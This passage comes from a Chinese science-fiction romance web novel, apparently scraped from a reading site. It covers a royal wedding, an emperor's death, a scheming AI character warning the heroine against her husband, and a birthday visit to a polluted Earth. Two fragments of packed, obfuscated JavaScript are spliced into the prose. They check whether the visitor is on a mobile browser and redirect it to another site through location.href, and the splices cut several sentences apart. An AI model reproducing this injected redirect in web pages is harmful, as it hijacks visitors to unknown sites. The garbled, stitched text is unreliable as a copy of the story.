“我反正是无所谓。”安妮开始轻轻给她白皙的脸颊扑上自然的定妆,“我主要怕你累。我这几天算是明白了,结婚是真的累人。” 房间门突然礼貌地敲了三下,得到允许后被轻轻推开一点。 安妮抬眉扫了一眼,便低下头继续专心致志地上妆。 林沅此刻无法回身,只能从镜子里瞥见来人:“怎么了,阿深?” 林深似乎又长高了几分,眉眼也抽去了最后一丝稚嫩,显得更加成熟,俊秀清朗中夹杂着一点难以言说的气质,像是阴雨天在风声中簌簌摇曳的竹林,又像是烟雾缭绕里年复一年等待穿石的水滴。 在镜中的深处,他一丝不苟地穿着西装,身形笼罩于走廊的灯火通明中,似乎被吞去了线条分明的轮廓,显得模糊而遥远。 “需要你准备一段临行的演讲,给外面等待的民众,姐姐。”他沉吟着开口,“人比我们之前想象得要多很多……要我帮你吗?” “应该不用太长时间吧?”林沅思考了一下,得到肯定的回答后,她就没有太过在意,“那我自己来就好了,你先帮爸妈维持一下家里的秩序。谁有拿不定主意的地方,你帮他们定。” 林深从外面轻轻关上门。室内又恢复一片安静。 “可算是能消停会了吧!”安妮重重叹了口气,开始给林沅仔细描绘眼妆,“谁再在这个时候打扰我,我真的要杀了他。” 林沅笑了笑,她一瞬不瞬地望着面前,像是从油画中走出的美少女般明媚姝丽的安妮,有些小心翼翼地轻声开口:“真没想到联盟会教化妆……你还学得这样好。” 安妮扫好了眼影,开始在眼睑上抹一点亮粉,轻巧地吹了声口哨:“因为在我们的设想里,即使一切没能走向正轨,我也会在你身边,陪你走到故事的结局……当然要十项全能啦!” 她想了想,又颇为义气地补充道:“你放心,等你老了以后,我还能天天帮你扛米扛菜,一口气爬六楼上去找你!” 林沅被她逗得忍不住想要大笑起来,吓得安妮手一抖,险些坏了正在描摹的眼线。 “哎呀你老实一点,不要乱动。”安妮嗔怪道,做势轻轻拍了一下她的肩膀。 在卧室门无法彻底隔绝的、不大不小的吵嚷声中,两个人于窗下化妆的这一片空间,却颇有些对比而来的静谧。 林沅慢慢平息了笑意,再次小声开口:“在联盟的构想中,怎样才算故事的结局呢?” 安妮的眼中闪过一抹难以察觉的光亮,像是一瞬擦破暗夜的烟火:“结局……就是我们让命运走向永恒的胜利。” “命运?联盟的科学家也会相信命运吗?”林沅疑惑道。 “那我就不知道喽。”安妮轻巧地抬起她的脸,开始对着光亮,仔细描上柳叶一般细长的眉,“反正我信。” “你信?”林沅有些小小的惊讶,“你觉得什么是命运呢,安妮?” “命运就是相遇吧。”安妮叹了一口气,笑意悠长而绵软,“我以为我会怨恨我要面对的一切。可是当我真正踏进命运的时候,我看见阿深,看见你。” 她浅栗色的眼睛反射着灯芯的微光:“如果宿命是你们,我很愿意。” 林沅静静地看着她,任由她在自己脸上描画,似乎被这个回答震撼,许久没有再言语。 直到最后一点妆容落定,安妮直起腰,左右打量了一会,非常满意地伸出手,把林沅轻轻拽起来,推到镜子前:“怎么样,好看吗?” 镜中人的眉眼在妆容的加持下更加惊艳,一身长裙曳地,像是水面上怜影自照的那喀索斯。 婚纱的裙摆处,一层层薄纱如海浪般起伏,绵延而下。微风拂过,手臂上两处长长的装饰纱也和裙摆一同起伏摇曳,垂至地面。 如同闪烁一池细碎飘摇的月光。 林沅对着镜子转了一圈,感叹道:“太完美了,你这手艺。将来哪天我们在帝国混不到一口饭吃了,你记得接婚庆单子养我啊,我就不奋斗了。” “这就完美啦?头发我还没帮你编好呢。”她站在林沅身后,梳理柔软细密的墨发,“给民众的演讲你想好了吗?一会还有一些仪式,怕是没有时间让你打草稿了。” “顺其自然吧。”林沅勾了一下唇角,“我总觉得,看见他们,我就知道自己想说什么了。” 编好头发,安妮仔细地用银色小夹子固定住头纱,把一小束红玫瑰扎成的捧花塞进林沅手里,陪她一起走出房间。 走廊上灯光如太阳般明亮,来往的人络绎不绝,每个人都停下来跟林沅问好,夸赞她今天特别美。 林沅挽着安妮的胳膊,有些羞涩地用红玫瑰半掩住自己的小半张脸,微笑着跟每个人点头致意。 她凑近安妮耳畔,小声问道:“这都是谁呀,我怎么感觉没太见过。” “大部分是联盟政要。”安妮掩住自己的口型,“包括很多你爸妈那边的远房亲戚。光是林家与舒家的全部人过来,整个官邸怕是就要装不下了。” 她们穿过长廊到了前厅,穿过各种或陌生或熟悉的面孔,看见林慕与舒晏正招呼着客人。 舒晏温柔地揽着女儿,一行人没说几句话,时钟就到了六点整,报时的小鸟投影出现,边缘闪着蓝色线条的光芒,振着数据写就的翅膀飞跃整个房间上空,偶尔低空掠过几个客人的惊呼声。 舒晏的眉眼闪着化不开的微苦,林慕沉默肃穆的面容也写着难以言喻的悲伤。 林沅努力扯起一点笑意,和亲近的家人们一一拥抱:“只是结婚,就当我去上学而已,开心一点啦。” 飞行的摄像头不知疲倦地绕着他们取景。林沅瞥了一眼,内心有种突如其来的酸胀。 一行人浩浩荡荡地准备乘飞船出发。林沅出现在民众眼前的时候,人群攒动中,突然爆发出巨大的欢呼声。 林慕略微低头:“你通过自己的影响力,给联盟带来帝国数不尽的投资,创造了很多就业的机会,大家都很感激。” “还有给工业引进的新技术与产业链,给对外贸易开辟的新渠道……哦对了,还有那杯鸡尾酒名下产生的版权费用,说是捐赠给无国界科技组织,其实很大一部分都捐赠给了联盟。我们用这笔钱建立了教育基金,准备开始着手建立全阶段免费的教育体系。” 林沅挽着父亲母亲的臂膀,有些茫然又有些欣慰地看着眼前的人们放飞手中的彩色气球。 清晨的微光里,五彩斑斓的气球如同揉碎的彩虹,从雾气蒸腾的地面升至阳光下,充满热烈的生命力。 整个大公官邸上空都被这样斑斓的色彩覆盖,美得像是顶着一片绚烂的、倒悬的海洋。 收音的机器人飞到林沅身边,林慕和舒晏让出一点位置,示意她说些什么。 民众站在广场上,兴奋激动的嗡嗡声,伴随着一张张热切的脸庞,让林沅再次产生了一种充满了快乐的茫然。 “谢谢……”她张了张嘴,一路上在心中默默打好的腹稿突然忘得一字不剩,张口最想说的两个字竟然只有谢谢。 人群的欢呼声一浪高过一浪,林沅的眼泪也突然涌了出来。 “殿下新婚快乐!”一声高过其他所有人的尖叫突然响起来,小小的沉默过后,爆发出了更大的欢呼,伴随着一些没什么默契的高声祝福,或者是努力吹得响亮的口哨。 林沅快要擦不干净脸上的泪。安妮赶紧凑过来:“你悠着点呀,一会怕是得补妆。” 林沅轻轻抹去眼泪,心里感慨万千。其实父亲向她说的这些投资和项目,只是她与陈鹤明练习政务时的一点小小的私心,在巨大的权力洪流下,却改善了无数人的生活。 “谢谢。”她又一次哽咽着开口,举起身边的一杯酒,向人群举杯致意,“我常听人说,理想主义是苦的,奋斗是苦的。有些苦的确没有必要吃,但有些苦,是人生的必经之路。” “也许这样开心的日子,不应该说这样扫兴的话。我只是想向大家保证……也许吃苦违背人的本能,但如果理想主义就是苦的,那我愿意和着砒霜饮梦。” 阳光下,她高高地举起酒杯:“敬和平,敬自由,敬联盟,敬赫斯塔星。” “敬我们吃苦耐劳,永远闪耀着人性光辉的人民。” 巨大的、热烈的欢呼声中,她举起酒杯一饮而尽,转身登上了飞船,消失于遥远天际,仿佛一颗小小的流星。 而在林沅等人飞速向着罗勒斯号迁移而来时,威廉早已经到达此处,与自己的姨母,罗勒斯的家主,玛利亚·罗勒斯女士拥抱见礼。 “一转眼,你都要结婚了。”罗勒斯女士亲昵地轻轻抚了抚威廉的脸颊,眼里闪烁着盈盈的泪光,“你妈妈如果能看见,一定很喜欢她。” “她们见过的。”威廉的眼神柔和,轻轻扶着罗勒斯女士的手臂,“在小时候,有一段时间,妈妈、我还有阿沅,一起住在宸宫。” “这样吗,那太好了……”她轻轻叹了口气。 罗勒斯女士的面容和威廉的母亲极度相像,只是在五十岁这个对新人类来说还是非常年轻的年纪,眼角已经有了许多细碎的纹路。 威廉望着她,恍惚看见自己母亲老去时的模样。他的手指紧了一紧,心里闪过一瞬的涩然。 罗勒斯女士注意到他的情绪,刻意转移了话题:“我听说你让亲卫部队负责这次的安保?” 威廉点了点头:“最近的袭击太多,我将安保等级提到了最高。” 此时此刻,巨大的船体外,无数属于“雪狮”的飞船闪烁着淡蓝色的微光,紧紧跟随着庞大的罗勒斯号,如同彗星明亮的彗尾。 等到林沅等人抵达后,首先通过了“雪狮”的安全认证,然后才成功接驳,登上了飞船。 按照她之前和威廉的约定,除了双方的亲人与罗勒斯号上的居民,以及少数的官方记者外,大部分人都是留在大公官邸或者宸宫中接受宴请。 上一次踏上罗勒斯号时,林沅还是那个尴尬得不知道该做什么好的姑娘,如今两年过去,她竟然要与自己当初刻意想要逃避的人,在他们第一次见面的地方结婚了。 从前威廉见过许多次没有完整记忆的林沅,但对于现在“完整”的林沅来说,她对威廉的印象,始于罗勒斯号上,那一整片随风摇曳、香气迷人的洛丽玛丝玫瑰。 今天的威廉换上了一身纯黑的西装,白色衬衫领口系着藏蓝色的领结,袖口处是一对海蓝色的宝石,整体倒是和军装一样合身,显得他身姿挺拔,丰神俊朗。 林沅远远地看见了威廉,微微笑了一下,看着他迫不及待地向自己走过来。在飞船上时安妮已经为她补好了妆,此时此刻,仍然光彩夺目。 林沅提起裙摆,微微向前几步,被威廉用力拥进怀里。 人群爆发出一阵起哄一般的、热烈的欢呼声。 “干嘛,几天没见,想我啦?”林沅仰起头,婚纱在威廉的手上拂过,撩动他指尖和心底同时勾起的痒意。
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他转回身,面朝前方,一边念,一边向前走。红毯两旁的机器人们,跟随着前行的进度,及时调整自己的速度,伴随着大主教悠长的经文,把不同的花瓣缓缓撒在红毯上,让新人以及身后的家人、宾客们,伴着鲜花走过。 林沅挽着威廉的手臂。他的伤似乎恢复得非常好,现在已经完全看不出一点虚弱的病气,又恢复成那座坚不可摧的雕塑。 大主教在前面缓缓走着,丝毫不受宾客队伍中“嗡嗡”声的影响,声音沉静洪朗,如同槌木撞击铜钟。 他说一句,迈一步,机器人们就扬起一片纷飞的花瓣。为了贴合婚礼的主题,全都选用了柔和的粉色。 一步,浅淡秀美的粉雪山:“如同群山拦路,创世的智者降下启示,迷路的婴孩遇见天际熹微的光明。” 两步,多头绚烂的朱丽叶塔:“人类力所不能及之地,众神盘旋,愿为坠落的审判替罪。” 三步,花团锦簇的粉绣球:“命运与命运相撞的终点,圣灵祈祷,倘若终将虚无,何妨一世绚丽?” 四步,纯洁无瑕的冰淇淋桔梗:“蜉蝣终将于岩浆的余烬中永生,静水浇灭卷曲的烈火,圣灵降下恩赐的福祉。” 一步一步,走至仪式举行的最终场地,整个飞船最大的房间,那个有着巨大扁海螺般向上延伸着的高台,和辉煌灿烂穹顶的玫瑰大厅。 威廉紧紧牵着林沅的手,两人一步步走向高台。缠绕扶手的红玫瑰一如林沅初见那天时的鲜艳,还带着新鲜采摘的露水。 大主教仍然走在队伍最前方,指引两人在高台中央站定。 他举起手中透明的瓶子,里面盛着在圣赞教廷中颇为神圣的“净水”。他将一点水珠点在两位新人的额头中间,苍老慈祥的嗓音借着不起眼的扩音机器人,传递于整个空旷的室内,卷起飘荡的回音。 “神明赐下永恒的祝福,庆贺一对新人在无边无际的宇宙中,诞生伊甸未曾设想过的爱。” “天甚幸命,万古长青。” 悠长的音乐突然响起,礼成了。 人群再次爆发出巨大的欢呼,于玫瑰花纹铺展的地面、于旋转而上的台阶、于灯火通明的高台。 林沅仰起头,在灯光晃眼的一瞬迷茫中,与威廉接吻。 如同花瓣缠绕花瓣,露水交融露水。 四目相对,威廉捧着她的脸颊,神色幽幽,似乎还想继续。 林沅伸出食指,抵在他浅色的唇瓣上,狡黠地笑了一下。 熙攘的人群之上,天地间,仿佛只剩下他们两个相拥的灵魂。 仪式结束后,各种喧闹的酒会和舞会持续了十几个小时,直到宾客散尽,林沅也和威廉一起返回了宸宫。 无穷无尽的宇宙中,巨大的罗勒斯号也不过是一只小小的蜉蝣,遑论每一个更加渺小的人类。 但在宇宙无数个寂静的角落中,蜉蝣一般的人类也拥有可以席卷天地的爱恨。渺小的心意汇成汪洋的洪流,也许可以摧枯拉朽般横冲直撞,冲尽所有拦路的命运。 这一夜,安妮没有跟随林沅回到帝国,而是去了联盟,她自己的家中。 之前因为婚礼的缘故,她甚至没有来得及回家一趟。此时此刻,母亲忙于婚礼后社交的应酬,并未回来,家中寂静地连打扫卫生的机器人们都已经待机休眠。 安妮一步步迈上楼梯。感应的悬浮灯随着她空寂的脚步声,一盏一盏逐个亮起,又缓缓盘旋上升,冷光照亮她前行的路。 房间门口,如她所料,放着一个巨大的、已经被暴力拆开的礼盒。 安妮沉默着弯下腰,缓缓取出里面几乎快有她小半个人高的盒子,对着灯光看了下,是一个几万片的拼装积木。 安妮的嘴角小小地勾了一下,推开门进了房间,从里面反锁。 她的房间完全不像她本人的内心那样沉默冷淡,反而如同一直以来的伪装表象,天真、热烈、烂漫。 不大不小的房间中,除了一张小床,和一个书桌以外,所有地方都摆满了各种各样的礼物。巨大的玩偶、积木、圣诞树还有成堆的书籍,把那张小小的床围在中间,似乎有双无形的大手,想把她裹进怀里。 安妮放下积木礼盒,坐在床边地板上,在一片昏暗中摸索着,打开一片巨大的虚拟屏。 每一次收到礼物,她就会把这段视频播放一遍,仿佛是送礼物的人,一并送上了崭新的祝福。 屏幕上,比现在稚嫩许多的林深正在调整摄像头。背景是星海基地永远不知疲倦移动着的巨大实验操作台,和背后透亮的窗户中,占据了小片夜空的蓝色星球。 年少的林深在微光中调整了半天,才终于清了清喉咙,脸上竟然有着可疑的红晕:“生日快乐,安妮。” “也许你打开视频的时间不一定准确,总之,或早或晚,都祝你生日快乐,安妮。” 他的目光灼灼,手指却不安地扭动着,似乎有些紧张:“往后余生三百年的礼物,每一样,我都为你挑好了。只要宇宙时间邮局还在,礼物就会定时发送。” 安妮的眼眶微红,静静地看着视频里的林深正襟危坐,似乎努力想要让自己显得正式一些:“祝安妮·贝克,幸福健康,长命百岁,辉煌荣耀,名动天下。” 实验室门口好像有许多人走过的脚步声,还有人喊了林深的名字。 他皱了皱眉,凑近屏幕,小声焦急地补充道:“祝你往后余生,生日快乐,每一天也快乐……我亲爱的……” 外面的人不停催促他。林深只好最后眷恋地看了一眼屏幕,终止了录屏。 视频戛然而止。坐在地上的安妮却一动未动。 “谢谢你,阿深。”她小声说道。 46.镜中花 安妮蜷缩在地板上。 沉寂的空间中,她优雅白皙的颈项反射着微弱的月色,整张脸埋在向上屈起的腿弯间。 伴随一声推门的重响,沉默被打破。安妮默默抬起头,无悲无喜地注视着前方。 来人似乎意识到卧室里有人,停顿了下,尽力礼貌地敲了三声。时轻时重的力道,却显露出一点微妙的不耐。 安妮倦怠地无声叹气,蜷缩着动了动手指,“咔哒”一声,门锁自动打开。 卧室门被条件反射地大力推开,撞到墙上,反方向稍微弹了一下,又悠悠停住。 贝克女士背对着刺眼的灯光站立,阴影中看不清她的五官。 “抱歉……但是出了紧急的事,你早点回到帝国吧。”贝克女士侧身让出空间,在面对着光明一侧的脸颊上,与女儿如出一辙的浅栗色眼瞳中,泄露出几分不忍。 却轻盈得如同幻觉。 等到安妮起身,想要仔细去观察时,只剩下一如既往的冷硬和权威。她忍不住小声问了一句:“出了什么事?” 贝克女士将脸彻底转向客厅,安妮完全不能够看见她的表情了:“星际帝国的皇帝陛下逝世。处理完他的丧仪,威廉·霍恩海姆就要登基了。” 安妮平静地点了点头,完全没有任何惊讶或者慌乱:“我知道了。请帮我准备最快的迁移飞船,我十分钟后出发。” 她经过贝克女士身侧,却突然停住了,沉吟了一下,小声祈求道:“请不要再拆我的礼物了,妈妈。让管家机器人扫描一下就好。” “嗯。”贝克女士冷淡地应下。 安妮无声地叹了口气,没有再多费口舌。 她走出房门,顺着楼梯走下去。 渐行渐远,不再回头。 而同一时刻,宸宫的每一处阳台和转角,每一个尖顶的屋檐,都有一个闪着蓝光的灯球,由暗到明,越来越亮,球身上的机械翅膀发出久未工作的摩擦声,缓缓旋转摆动。 如同一只只生出翅膀的鸟儿,这些灯球开始慢慢离开固定它们的底座,于宸宫冰冷宏伟的外墙上自动剥离,先是振翅悬浮,接着慢慢远离、上升,最终仿佛无数个蓝色的巨大萤火虫,环绕成蔚蓝的灯带,绕着宸宫上下摇摆飞行。 宸宫环绕在灯球组成的“小行星带”中,发出一阵阵哀切、凄婉的钟声。 帝国的公民沉默着走到街上。他们知道,这是属于帝国的又一个皇帝陨落了。无论喜爱或者唾弃,在太阳尚未升起的暗夜中,为逝去的帝王送行,是帝国无数年来的传统。 二十一年前,也有过这样一次集体的送行。那时候的人们惊闻皇帝于壮年时意外去世,脸上写满了惊愕与悲伤,也流下了更多真情实感的眼泪。 如今人们行走在帝国风萧叶落的街道上,更多的表情是麻木与平静。这是比任何身后碑文传记更真实的评价。至少于此时此刻,没有人感念他。 林沅站在三楼的阳台上,单薄的睡裙在风中鼓动,面无表情地看着如同群鸟振翅的灯球群,在环绕宸宫百十圈后,按照规矩,飞向焚烧与安葬历代帝王的群山。 夜空中飞翔的群灯如同飘扬的灯带,掠过送葬的人群上空,照亮无数人向群山汇聚的身影,最后甚至笼罩了一整座山。 林沅看了一会,似乎觉得无趣,转身进了门,准备先躺一小会养养精神。他们回到宸宫没多久,皇帝的死讯便也刚好送到。林沅原本准备强撑着走完全程,威廉却注意到她脸色不好,让林沅先回房休息。 太阳升起后,最终的葬礼会与威廉的登基仪式前后进行。等到那时候,她再赶过去也不迟。 林沅回了卧室。房间没有开灯,唯有虚拟屏的一点微光还在闪烁。 她瞥了一眼虚拟屏,突然意识到有什么不对,皱了皱眉。 一群闪烁的光点像是四散的萤火一般,于屏幕四周向中心汇集,慢慢汇成一个金发绿眼的少女形象,取代了屏幕中心原本的一行“正在加载中”的英文小字。 林沅顿了顿,警惕地走向虚拟屏。她的手指在桌上摸索了一小会,似乎想要强制关机。 “第105次迭代产物,人工智能莉莉向您问好。此时此刻是星历6356年12月21日,时间凌晨3点39分。祝您新婚快乐,林沅殿下。” 和外表十分不符、略显一丝机械的女声公事公办地向林沅报时,仿佛一个再正常不过的、非常常规的人工智能,甚至在机械的电子余音中,显露出一点诡异的温柔。 “谢谢,不过……”林沅紧紧盯着屏幕,并不想买她的账,“我房间的虚拟屏从未连接人工智能系统,你为什么出现在这里?” 屏幕中和莉莉丝·亨特兰几乎一模一样的少女,勾起了一个莉莉丝绝不会露出的机械微笑,有种刻意模仿人类的生硬和古板:“按照威廉·霍恩海姆殿下的命令,帝国正在为政务处理系统对接最新迭代的人工智能,以期推进整个国家的政务处理效率,从而提高综合国力。” 林沅敛了下眉,低声道:“是吗……从来没有人跟我提过这件事。” “您与霍恩海姆殿下全都日理万机。”莉莉停顿了一会,于屏幕中行了一个屈膝礼,模糊僵硬的动作略显抽帧,带有一种欺骗科研经费的荒诞,“这点小事,殿下忘了与您商议,也很寻常。” 林沅不置可否,只是紧紧地盯着屏幕:“迭代105次?为什么我完全看不出你与普通的人工智能有什么区别?” “因为我还不够成熟。” “成熟?”林沅垂眸思考,“你怎么定义自己的‘成熟’?” 机械女声不慌不忙地回答她:“一个优秀的人工智能应当成熟到让人类无法分辨,所求得的一切答案究竟来自于真正的人,还是来自于知识和程序的洪流。” “也就是说,你觉得自己不够人性化?”林沅笑了一下,“这倒是有意思……难怪当初迭代到60代的时候,他们就说你是跨时代的变革,与之前所有的人工智能都不相同。” 莉莉在屏幕中歪了一下头:“感谢您的肯定。但我想,这恰恰说明我的不完善,同时也没有任何威胁。” 林沅不置可否地看了她一会,一言不发地想要按下关机键。 她如愿以偿地看到屏幕中的莉莉皱了下眉。 “也许,比成熟更可怕的,是懂得伪装自己不成熟。”林沅紧紧盯着莉莉,轻声说道。 莉莉非常开心地笑了。一瞬间像素提升,素色的裙摆和整体背景仿佛加上了渲染的特效,表情和语气也完全恢复了灵动:“我就说你很聪明。” 她在屏幕中开心地绕来绕去,看起来活泼又乖巧:“请不要关机好吗?我有话想要对您说。” 林沅坐在软椅上,双手环抱胸前,微微点了点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005560|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 莉莉微笑着开口,内容却直截了当:“不要相信威廉。” 林沅轻轻挑了下眉:“怎么,第一句话就是挑拨离间?” 莉莉轻轻叹了口气:“威廉太警惕了,我的时间不多。既然已经确认了你足够聪明,就没有必要再兜圈子了。” “足够聪明?”林沅神情莫测地看着她,“我该怎么说……多谢夸奖?” “亲爱的。”莉莉没有接她的话,“你虽然足够聪明,但实在太软弱、太天真了。而威廉远比你成熟,也比你更冷血。你迟早会被他害死的。” 林沅不为所动:“说重点。你再兜圈子,我就关机了。” 莉莉竟然轻快地笑了一会:“你们俩,连这种时候下意识的应对都一模一样……难怪,孤独小男孩与软弱小女孩,还真是相配。” 她没有再给林沅开口的机会,一股脑说道:“我知道威廉的真实计划,他要整个联盟成为帝国的垫脚石。因为银河系特殊的地理位置,以及地球的某种能源储备,联盟将会成为他设想中绝佳的战术缓冲带、武器试验场、经济吸血池。” “我知道你现在怎么想。你觉得我一定在撒谎,对不对?你觉得他那么爱你,连命都可以为你送掉,他不会不顾你的感受,以整个联盟为代价来供奉帝国。” “但是亲爱的,你了解自己的丈夫,却并不了解一个帝王。对你来说无比巨大的代价,对一个帝国的国王来说什么都不是。” “数据告诉我,你们有一片沃土,却根本没有能力守住它。当年在幽梦星时是这样,事到如今仍然还是这样。” “你能为胜利支付什么样的代价呢?对他来说,这代价甚至包括你……真是好脾气呀,换我,我是忍不了的。” 林沅一只腿轻巧地搭在另一只腿上,挺直了腰。明明是十分随意的动作,让她做出来,却显露了几分优雅和高傲。 她在黎明前最暗的夜色中,略显嘲讽地勾起了唇角:“说完了?” 莉莉却没有接收到她的嘲讽,看起来仍然万分诚恳:“不要做好人。一旦你觉得自己在发善心,百分之九十九的可能性是你做了蠢事。” 林沅彻底失去了耐心。她站了起来,直接按下关机键。 消失前的最后一刻,莉莉在自己身体化成数据碎片的视频效果中,扯出一个古怪的笑容:“相信我吧,亲爱的……野兽一旦尝过了血腥的味道,就再也没办法回头吃草了。” 于所有光明熄灭后的黑暗中,林沅无声无息地站立着,仿佛一座永远不会坍塌的雕像。 时间一分一秒地过去。在天际第一缕熹微的光划破永恒寂灭的长夜时,风化的石像挣扎出一丝难以察觉的裂痕。 林沅动了起来。 她沉默着,换上得体的华服,将长发一丝不苟地盘起。一步一步,走出房间,走出长廊,走出宸宫。 朝阳绚烂的光明中,她登上前来迎接的飞船,很快便到达了安葬帝王的陵寝,也是威廉登上帝位的舞台。 飞船在反推激起的狂风猎猎中纹丝不动地悬浮着。 舱门打开,舷梯放下,红毯铺就。 万众瞩目中,一身军装的威廉身姿挺拔,微微仰头,银发被狂风吹拂,遮掩住了意味不明的目光。 他于烈烈寒风中,向林沅的方向伸出手臂,唇齿微动。 “来吧,我的……皇后。” 47.蓝血玫瑰 星历6357年1月1日,整个宇宙公认的新年更替日。 在地球的全封闭实验基地中,林沅正百无聊赖地撑着头,偶尔于虚拟屏上记录一点实验数据。 威廉登基后没多久,她就按照勉强被推迟了几天的实验计划,和“信天翁”的三人一起来到了联盟的月球实验基地,接着又在林深等人的带领下,登上了被严重污染的地球。 出发前,康伦那边认为皇后不必非要继续学业,但林沅有些犹豫不决,威廉也就一如既往地支持她。 “也就三个月。”他说,“回来再继续学习处理政务。” 林沅便下定了决心。 这次安妮没有可以正当跟来的理由,只能在临行前帮林沅一起备齐了各种生活物资。 分别时她轻轻抱了抱林沅,反复不放心地叮嘱:“有什么事一定要及时给我打电话或者发消息,我会立刻赶过去的。” 林沅答应了她。 此时此刻,其他人正在进行室外观测实验,林沅孤身一人待在基地。 万籁俱寂中,分隔过渡空间的大门向两边缓缓打开。林沅回过头,墨色的长发在纤细挺直的后背上轻轻一扫,扫起一点实验室特有的消毒水味道。 “你怎么自己回来了?”她有些惊讶地看着站在门口的林深。 林深于过渡空间中,一键清除了从室外空间带来的辐射,摘下防护罩,轻轻甩了甩有点汗湿的头发:“基地不用一直守着,出来玩一会吧,姐?” “拜托,在工作诶。”林沅谨慎地指了指头顶,示意实验室的监控一直联通着月球基地,很可能会被别人听见。 林深走近了,一把将她从座位上拉起来:“怕什么,最多也就是闵哥或者晚姐在那边看着,你还怕他俩告咱们的状吗?” 林沅迟疑了一下:“实验怎么办?” “让机器自己盯着,一会就回来了。”说罢,便不由分说地拉着林沅套上了防辐射服。过渡空间与实验室间的大门严丝合缝地关闭,与外界相连的接口缓缓打开。 与林沅想象中被破坏殆尽的地球完全不同,这里的绿植竟然格外繁盛茂密。如果不是辐射计数器发出令人牙酸的警报声,她会以为自己回到了曾经真正熟悉的地方。 脚下踩上坚实地面的触感,温柔地让人想要落泪。在无数个相似或不同的时间与空间中,她也曾在某个地球的某一隅,顽强而孤独地生长过二十年。 那里藏着她再也无法触摸到的故乡。 他们于寂静无声的天地间漫步。林沅慢慢才在几乎完全无法分辨的城市遗迹中发现,这里曾是一座海边的小城。 几千年未曾有人类踏足的建筑,被大片大片深厚的青苔覆盖。整个世界都是绿油油的,藤蔓交织着爬满冰冷的钢筋混凝土外墙,仿佛在割裂分解一块久未有人问津的抹茶蛋糕。 日光渐渐降落。他们在海边漫步,绵长到看不见尽头的金黄沙滩上,海浪无休无止地吞吐着雪白翻涌的泡沫,发出一阵阵“嘟噜噜”“哗啦啦”的美妙声响。 收音通过通讯系统传进林沅的耳中。可惜这里没办法让她摘下防护罩,呼吸一点被腥咸海风裹起来的、属于大海与天空的味道。 “真美……”她小声对林深说道,“我很久没见过了……赫斯塔星和帝国,都没有这么美的海。” 最后几缕日光照在海面上。夕阳仿佛一片被置于牛奶中泡到柔软的饼干,橘金色的香气四处逸散,染透了碧蓝如洗的天空,和绵软纯白的云彩。 林沅的双手下意识摸了摸防护罩边缘:“我要是现在摘下这个,会怎么样呢?” “会死。”林深直截了当地回答她,把林沅吓得手指一缩。 “真是看不出来。”她感慨道,“这里明明风景如画,实际却被污染充斥。也许这辐射只是针对人类,提醒他们已经不配生存在这样的美景中。于是人类退去以后,动植物们自然而然地瓜分了领地,建立了新秩序。” 就像是一场无声战争的胜利。 “我听说,这里还留着极少数的原住民?” 林深点了点头:“他们不愿意接受联盟的搬离邀请,于是联盟通过我们,给这些原住民发放一定的补给。” 林沅有些好奇:“难道他们不怕辐射吗?” 林深沉默了一会,声音低哑地开口:“他们排斥联盟的一切科技,导致平均寿命非常低,大部分孩子都活不过成年。” “即使这样也不愿意离开?” “即使这样也不愿意离开。” “好吧。”林沅迷茫地看着最后一丝夕阳的光芒被遥远的天际线吞噬,吞进无穷无尽的大海,消化成一场等待重生的幻梦。 各种轻巧的小动物在楼间窜来窜去,看见远处的人类也并不害怕,只是躲在曾经属于某个人的办公桌下,用没有人听得懂的信息互相交流打招呼。 天地静谧,万物归于长夜。 突然,一点几不可闻的摩擦声响起,林沅惊奇地看着前方不远处的海滩上,一大片星星点点、如同萤火的微光,闪烁着小火花的金色光斑,噼噼啪啪地燃烧起来。 有人在海滩放烟花。 一排排次第点燃的烟花瞬间转着圈升上天空,在泼墨的夜色中轰然炸响,点亮一片绚丽的光芒。 一遍遍上升的烟花下,沙滩上的小烟花们也不甘示弱地燃烧着,远远望去,似乎是摆成了什么小字。 “二十二周岁生日快乐……阿沅。”林沅喃喃着念出沙滩上的图案,声音有些涩意。 沙滩上,一群伙伴们不知是从哪跑出来,冲着高处的两人大声打招呼。 莉莉丝举着两只“仙女棒”向林沅挥舞着双手;路易非要拉着丹尼尔去放一些更大更响的烟花,丹尼尔一脸抗拒;宋庭眠半蹲在地上,一只手关闭防护罩的收音口,一只手远远地去够那个最大的烟花盒子;沈若暄在烟花上升炸开的巨响中笑着欢呼,颜辂站在她身边,年轻俊秀的脸庞神情温柔。 一片喧闹中,由沈若暄带头,这群人停下手里的一切,在“三二一”的倒数声后,冲着林沅大声喊道:“生日快乐,阿沅!” 林沅想要抹去脸颊上划过的眼泪,但防辐射罩阻碍了她的动作,她只能站在原地手舞足蹈,回应沙滩上的那群人。 “谢谢!”林沅隔着防护罩大喊了几声,带着被拢音的沉闷感。 “让他们在这里放烟花吧。”欣赏了一会烟花后,林深轻轻推了推她,示意看向远离沙滩的另一个方向,“我还有一个地方要带你去。” 林沅有些困惑。林深低低地笑了一声:“你不是一直在等我一个解释吗,姐姐……为了这件事,都不愿意理我了,像小孩子一样。” 林沅沉默了一会,没有反驳,跟着他往另一个方向走去。 艰难穿过依稀能够辨认的小径,拨开那些仿佛生长在热带雨林气候下的季风带植物,林深走在前面,指引她小心脚下。 只有十几分钟的步行距离,他们走了大概一小时,直到林沅累得气喘吁吁,在防护服的压力加持下感觉自己终于走不动了,一片世外桃源般别有洞天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你十岁时从孤儿院离开后,与一位远房的奶奶相依为命。她带你在镇子上的乡村中居住,那时候你没有什么娱乐,只能买一些地摊文学的言情小说打发时间……”林深诡异地停顿了一下,“而恰巧,有人需要你知晓自己大致的命运,也需要一个将你定位的‘锚点’。” 